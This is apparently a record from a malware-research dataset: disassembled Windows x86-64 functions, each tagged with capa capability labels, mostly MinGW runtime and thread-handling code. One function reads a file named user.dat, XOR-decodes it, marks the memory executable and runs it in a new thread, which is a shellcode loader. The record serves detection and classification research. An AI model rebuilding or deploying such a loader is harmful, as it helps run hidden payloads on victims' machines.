joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Block operations on executable memory pages using arbitrary code guard

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov r8d, 4
mov dword [rsp + 0x20], 1
lea rdx, [rsp + 0x20]
lea ecx, [r8 + 4]
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400c99f0
add rsp, 0x38
ret

Function at 0x1400c9980
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
xor eax, eax
lea r8, [0x140001050]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x1400ca2b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ca302
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ca302
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ca302
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ca302
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ca302
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400ca304
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040cc70]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x0040cc80]
mov dword [rax], 1
mov rax, qword [0x0040cc90]
mov dword [rax], 1
mov rax, qword [0x0040cc60]
mov dword [rax], 1
mov rax, qword [0x0040cb20]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x0040cc50]
mov dword [0x0040f008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040cc10]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040cad0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401b23
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x0040fa68]
test rax, rax
je 0x401b36
call rax
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov rbx, rax
mov r9, rax
call sym.fwrite
mov rcx, rbx
call sym.fflush
mov ecx, 1
call sym.exit
nop

Function at 0x40484f
Capabilities:
Allocate or change rwx memory
Create thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
lea rdx, [0x0040c5c0]
lea rcx, str.user.dat
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x3c], 0x79656b
call sym.fopen
xor edx, edx
mov r8d, 2
mov rdi, rax
mov rcx, rax
call sym.fseek
mov rcx, rdi
call sym.ftell
xor r8d, r8d
xor edx, edx
mov rcx, rdi
movsxd rbx, eax
call sym.fseek
mov rdx, rbx
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rdi
mov rdx, rbx
mov r8d, 1
mov rsi, rax
mov rcx, rax
call sym.fread
lea r8, [rsp + 0x3c]
mov rdx, rbx
mov rcx, rsi
mov r9d, 4
call sym.XOR
lea r9, [rsp + 0x38]
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov r8, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
Function at 0x404eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040f624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x405038
mov rax, qword [0x0040f628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x404efc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x404f85
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x404ee0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40506d
mov rax, qword [0x0040f628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040f628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x405050
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x404f7e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x404fe0
add dword [0x0040f624], 1
cmp edi, 8
jae 0x404fb3
test dil, 4
jne 0x405024
test edi, edi
je 0x404fa8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40503f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x404fa8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x404fcc
jmp 0x404fa8
add rsi, qword [0x0040f628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x404f7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x404fa8
xor esi, esi
jmp 0x404f07
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x404fa8
mov rax, qword [0x0040f628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4057c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040f900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040f8e0]
test rbx, rbx
je 0x405814
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40580b
test rsi, rsi
je 0x40580b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4057f0
lea rcx, [0x0040f900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x405a50
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x405a60
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x405a70
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x405ab1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x405aa8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x405ab3
add rax, 0x28
cmp rax, r9
jne 0x405a94
xor eax, eax
ret

Function at 0x405b50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040cb20]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x405bbd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x405bbd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x405bbd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x405bb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x405bbf
add rax, 0x28
cmp rax, r9
jne 0x405ba0
xor eax, eax
add rsp, 0x28
ret

Function at 0x405cc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040cb20]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x405ce0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x405cd8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x405d3d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x405d34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x405d44
add rax, 0x28
cmp rax, r9
jne 0x405d20
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x405d60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0040cb20]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x405dce
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x405dce
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x405dce
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x405dce
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x405dc5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x405dd5
add rcx, 0x28
cmp rcx, rax
jne 0x405db0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x405de8
jmp 0x405dce
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x405df6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x405dce
test r9d, r9d
jg 0x405de0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x406910
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x0040b2f8], eax
je 0x40692a
add rsp, 0x28
ret
call sym.abort
nop

Function at 0x406e30
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x406e53
call sym.pthread_spin_destroy
cmp eax, 1
je 0x406e5e
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
lea rbx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x406ed5
mov eax, 0x28
jmp 0x406eba
add rax, 1
cmp rax, 0x6b
je 0x406ec7
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x406eb0
cmp eax, 0x6a
jne 0x406eda
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov edx, 0x27
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
jmp 0x406ec7

Function at 0x406f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x0040f9e0], 1
je 0x406f96
call sym._pthread_once_raw.part.5.constprop.11
mov ecx, dword [0x0040b2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x406fc0
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rsi, rax
je 0x406faa
test rax, rax
je 0x406faa
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rcx, [rsi + 0x68]
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x30], rax
call sym.replace_spin_keys.constprop.10
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov r8, rbp
mov rdx, rdi
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x4070b0
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rdx, rsi
mov ecx, dword [0x0040b2f8]
mov dword [rsi + 0xbc], 0
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4070b0
mov rbx, rsi
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.abort
nop
nop word cs:[rax + rax]
Function at 0x407220
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test edx, edx
jne 0x407241
test r8, r8
je 0x4072e0
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
cmp edx, 1
je 0x407310
cmp edx, 3
jne 0x407234
mov ecx, dword [0x0040b2f8]
cmp ecx, 0xffffffff
je 0x407234
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x407234
test byte [rax + 0x40], 0x30
je 0x407330
mov rcx, qword [rax + 0x1d8]
test rcx, rcx
jne 0x407425
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x4072af
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x40729f
call rsi
mov qword [rbx + 0x30], 0
mov qword [rbx + 0x28], 0
lea rcx, [rbx + 0x38]
call sym.pthread_mutex_destroy
lea rcx, [rbx + 0x68]
call sym.replace_spin_keys.constprop.10
cmp qword [rbx + 0x1d0], 0
jne 0x4073bc
mov rcx, rbx
call sym.push_pthread_mem.part.2
jmp 0x4073bc
mov rcx, qword [0x0040f9a0]
test rcx, rcx
je 0x407234
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov qword [0x0040f9a0], 0
jmp 0x407234
lea rdx, [sym.SetThreadName_VEH]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x0040f9a0], rax
jmp 0x407234
mov rcx, qword [rax + 0x30]
mov eax, dword [rax + 0xbc]
test eax, eax
jne 0x4073d0
test rcx, rcx
je 0x40734d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x1d8]
mov qword [rbx + 0x30], 0
mov dword [rbx + 0xbc], 1
test rcx, rcx
jne 0x407400
test byte [rbx + 0x44], 4
lea rdi, [rbx + 0x38]
lea rsi, [rbx + 0x68]
je 0x407410
mov rcx, qword [rbx + 0x28]
mov dword [rbx], 0xdeadbeef
test rcx, rcx
je 0x407396
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
mov qword [rbx + 0x28], 0
call sym.pthread_mutex_destroy
mov rcx, rsi
call sym.replace_spin_keys.constprop.10
cmp qword [rbx + 0x1d0], 0
je 0x4072cf
xor edx, edx
mov ecx, dword [0x0040b2f8]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x407234
test rcx, rcx
je 0x4073db
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbx + 0x38]
mov qword [rbx + 0x30], 0
call sym.pthread_mutex_destroy
lea rcx, [rbx + 0x68]
call sym.replace_spin_keys.constprop.10
jmp 0x407234
call sym._pthread_cleanup_dest.part.8
jmp 0x40736f
mov rcx, rdi
call sym.pthread_mutex_destroy
mov rcx, rsi
call sym.replace_spin_keys.constprop.10
jmp 0x407234
call sym._pthread_cleanup_dest.part.8
jmp 0x407282
Function at 0x407430
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
mov rbp, rsp
sub rsp, 0x28
mov qword [rbp + 0x28], rcx
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_lock
mov rax, qword [rbp + 0x28]
lea rbx, [rax + 0x38]
mov rcx, rbx
call sym.pthread_mutex_lock
cmp dword [0x0040f9e0], 1
je 0x407469
call sym._pthread_once_raw.part.5.constprop.11
mov rdx, qword [rbp + 0x28]
mov ecx, dword [0x0040b2f8]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rsi, qword [rbp + 0x28]
mov rcx, rbx
mov dword [rsi + 0x70], eax
call sym.pthread_mutex_unlock
mov rax, qword [rbp + 0x28]
mov rdx, rbp
lea rcx, [rax + 0xd0]
call sym._setjmp
test eax, eax
je 0x40753d
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_lock
mov rax, qword [rbp + 0x28]
lea rbx, [rax + 0x38]
mov rcx, rbx
call sym.pthread_mutex_lock
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 0x30]
mov rsi, qword [rax + 8]
test rcx, rcx
je 0x4074dc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x28]
cmp qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
je 0x407597
mov rcx, rbx
call sym.pthread_mutex_unlock
mov rcx, rbx
call sym.pthread_mutex_destroy
mov rax, qword [rbp + 0x28]
mov qword [rax + 0x38], 0xffffffffffffffff
mov dword [rax + 0xbc], 1
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [0x0040b2e8]
mov rcx, rdi
call sym.pthread_mutex_unlock
test eax, eax
jne 0x4075e1
xor ecx, ecx
call rbx
jmp 0x407527
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_unlock
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x4075e9
mov rdi, qword [rbp + 0x28]
mov rcx, qword [rdi + 8]
call rax
mov rbx, rax
nop
nop
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_lock
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax + 0x1d8]
mov qword [rax + 8], rbx
test rcx, rcx
je 0x4074b5
call sym._pthread_cleanup_dest.part.8
jmp 0x4074b5
mov rax, qword [rbp + 0x28]
mov rcx, rbx
mov dword [rax], 0xdeadbeef
call sym.pthread_mutex_unlock
mov rcx, rbx
call sym.pthread_mutex_destroy
cmp qword [rbp + 0x28], 0
je 0x4075ce
mov rax, qword [rbp + 0x28]
cmp qword [rax + 0x1d0], 0
jne 0x4075ce
mov rcx, rax
call sym.push_pthread_mem.part.2
xor edx, edx
mov ecx, dword [0x0040b2f8]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x407519
mov ecx, esi
call qword [sym.imp.msvcrt.dll__endthreadex]
mov ebx, pe_nt_image_headers64
jmp 0x407567
Function at 0x408170
Capabilities:
Hijack thread execution

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4f8
mov rsi, rcx
call sym.__pth_gpointer_locked
test rax, rax
mov rbx, rax
je 0x40823a
mov rcx, qword [rax + 0x28]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x40823a
lea rbp, [rsp + 0x20]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40823a
lea rdi, [rbx + 0x38]
mov rcx, rdi
call sym.pthread_mutex_lock
call sym.__pthread_self_lite
xor edx, edx
test rax, rax
je 0x4081d6
mov rdx, qword [rax + 0x1d8]
cmp rsi, rdx
movzx eax, byte [rbx + 0x40]
je 0x408224
mov edx, dword [rbx + 0x44]
and edx, 3
cmp edx, 3
je 0x408250
test al, 3
jne 0x40822c
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
lock add dword [0x0040f9e8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x40820e
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, rdi
call sym.pthread_mutex_unlock
xor eax, eax
add rsp, 0x4f8
pop rbx
pop rsi
pop rdi
pop rbp
ret
test al, 3
je 0x4082e5
mov rcx, rdi
call sym.pthread_mutex_unlock
test byte [rbx + 0x40], 0xc
je 0x408216
mov eax, 3
add rsp, 0x4f8
pop rbx
pop rsi
pop rdi
pop rbp
ret
test al, 0xc
jne 0x40822c
test al, 0xf
jne 0x40823a
mov rcx, qword [rbx + 0x28]
mov dword [rsp + 0x50], 0x100001
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor edx, edx
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40820e
mov rcx, qword [rbx + 0x28]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [sym._pthread_invoke_cancel]
mov rcx, qword [rbx + 0x28]
mov rdx, rbp
mov qword [rsp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
movzx eax, byte [rbx + 0x40]
and dword [rbx + 0x44], 0xfffffffe
and eax, 0xfffffff0
or eax, 5
mov byte [rbx + 0x40], al
lock add dword [0x0040f9e8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x4082ce
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, rdi
call sym.pthread_mutex_unlock
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40820e
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
lock add dword [0x0040f9e8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x408305
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [rbx + 0x44]
mov edx, eax
and edx, 3
cmp edx, 3
jne 0x40820e
and eax, 0xfffffffe
mov rcx, rdi
mov dword [rbx + 0x44], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xfffffff3
or eax, 4
mov byte [rbx + 0x40], al
call sym.pthread_mutex_unlock
call sym._pthread_invoke_cancel
nop
nop word [rax + rax]
Function at 0x408340
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov esi, edx
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_lock
mov rcx, rbx
call sym.__pthread_get_pointer
test rax, rax
je 0x4083b1
cmp qword [rax + 0x1d8], rbx
jne 0x4083b1
test byte [rax + 0x40], 0xc
jne 0x4083b1
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x4083b1
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x4083b1
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_unlock
test esi, esi
je 0x4083d0
sub esi, 2
cmp esi, 0x15
ja 0x4083d4
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
jmp sym.pthread_cancel
lea rcx, [0x0040b2e8]
call sym.pthread_mutex_unlock
mov eax, 3
add rsp, 0x28
pop rbx
pop rsi
ret
xor eax, eax
jmp 0x4083c2
mov eax, 0x16
jmp 0x4083c2